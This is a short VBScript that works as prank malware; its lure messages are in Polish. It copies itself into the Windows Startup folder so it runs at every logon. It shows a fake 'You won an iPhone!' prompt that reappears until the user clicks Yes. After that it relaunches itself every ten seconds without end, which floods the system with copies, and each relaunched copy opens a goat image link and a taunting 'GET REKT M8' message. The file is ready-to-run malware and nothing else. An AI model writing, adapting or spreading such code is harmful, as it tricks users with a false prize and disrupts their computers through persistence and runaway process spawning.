dim objShell
Set objShell = wscript.createobject("wscript.shell")


if wscript.arguments.count = 0 then

dim Var
dim Source
dim Target
dim cmd
dim name

name = wscript.ScriptName
msgbox(name)

Target = "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Source   = "C:\Users\%USERNAME%\Desktop\"&name
cmd= "%comspec% /c copy """ & Source& """ """ & Target & """ /Y"

objShell.run cmd,0,true

do while Var <> 6
Var=Msgbox("Pobierz swojego iphona",vbYesNo,"Wygrałeś iphona!")
Loop

if var = 6 then
do while true
objShell.run name & " &1",0
wscript.sleep 10000
loop
end if

else

objShell.run "https://pristinefarmexperience.files.wordpress.com/2013/03/goats.gif"
msgbox("GET REKT M8")

end if